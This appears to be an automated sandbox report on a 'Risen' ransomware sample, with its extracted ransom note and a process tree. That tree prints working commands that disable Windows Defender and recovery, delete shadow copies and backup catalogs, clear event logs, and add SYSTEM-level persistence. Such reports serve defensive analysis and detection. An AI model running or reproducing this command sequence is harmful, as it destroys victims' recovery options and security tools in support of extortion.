Analysis
- max time kernel
300s - max time network
203s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
15/05/2024, 15:52
General
- Target risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe
- Size 149KB
- Sample240515-ta25vagg57
- SHA256 3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5
Score
10/10
Malware Config
Extracted
Path
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C:\ProgramData\$Risen_Guide.hta
Ransom Note
- All Your Important Files Have Been Encrypted NOTE We have also taken your critical documents and files from different parts of your network, which we will leak or sell if there is no cooperation from your side. Our operators have been monitoring your business for a while, when we say these documents are critical, we mean it. We await for your response before the deadline ends, After that we will continue the process of leaking or selling your documents. We assure you that this won't happen if you cooperate with us. CONTACT US For more instructions, to save your files and your business, contact us by : Email address : [email protected] , TELEGRAM:@tokyosupp didn't get any response in 24 hours ? use : [email protected] Leave subject as your machine id " AAFJKAF8XA " If you didn't get any respond within 72 hours use our blog to contact us, therefore we can create another way for you to contact your cryptor as soon as possible. http://s2wk77h653qn54csf4gp52orhem4y72dgxsquxulf255pcymazeepbyd.onion/ ATTENTION Do not rename or change info of any file, in case of any changes in files after encryption there is a huge risk for making it unusable Do not pay any amount of money before receiving decrypted test files there might be many middle man services out there whom will contact us for your case and they will make a profit by adding a sort of money to the fixed price any attempts for decrypting your files through third party softwares will cause permanent damage to following files and permanent data loss there will be a deadline until your data get sold or leaked by our team,you better corporate with us before the following deadline otherwise we will proceed to sell or leak your data without any past warnings
URLs
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http://s2wk77h653qn54csf4gp52orhem4y72dgxsquxulf255pcymazeepbyd.onion/
Signatures
- Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
- Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
- UAC bypass 3 TTPs 1 IoCs
- Clears Windows event logs 1 TTPs 5 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
- Renames multiple (3367) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Disables Task Manager via registry modification
- Disables use of System Restore points 1 TTPs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- UPX packed file 4 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Drops file in Program Files directory 64 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 1 IoCs
- Modifies registry class 1 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 48 IoCs
- Suspicious use of AdjustPrivilegeToken 27 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe"C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINESoftware\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINESoftware\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "SystemDefense" /TR "C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe" /F2⤵
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "SystemDefense" /TR "C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe" /F3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "SystemDefense" /F2⤵
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "SystemDefense" /F3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WELCOME " /f2⤵
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WELCOME " /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " We have penetrated your whole network due some critical security issues. We have encrypted all files on each host in the network , We have also Took your critical data AND in case of NO corporation until the end of the deadline we WILL leak or sell your data, the only way to stop this process is successful corporation. ([email protected] , TELEGRAM:@tokyosupp) AND :([email protected]) " /f2⤵
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " We have penetrated your whole network due some critical security issues. We have encrypted all files on each host in the network , We have also Took your critical data AND in case of NO corporation until the end of the deadline we WILL leak or sell your data, the only way to stop this process is successful corporation. ([email protected] , TELEGRAM:@tokyosupp) AND :([email protected]) " /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\$Risen_Note.txt2⤵
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\$Risen_Note.txt3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\$Risen_Guide.hta2⤵
- Checks computer location settings
- Modifies registry class
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\$Risen_Guide.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3612 -s 14084⤵
- Program crash
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe"2⤵
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3612 -ip 36121⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1Scheduled Task/Job
1Windows Management Instrumentation
1Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
4Replay Monitor
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Downloads
$Risen_Guide.hta
$Risen[AAFJKAF8XA].Private
$Risen_Guide.hta
$Risen_Note.txt
memory/112-0-0x00000000001F0000-0x000000000025E000-memory.dmp
memory/112-15651-0x00000000001F0000-0x000000000025E000-memory.dmp
memory/112-29866-0x00000000001F0000-0x000000000025E000-memory.dmp
memory/112-29868-0x00000000001F0000-0x000000000025E000-memory.dmp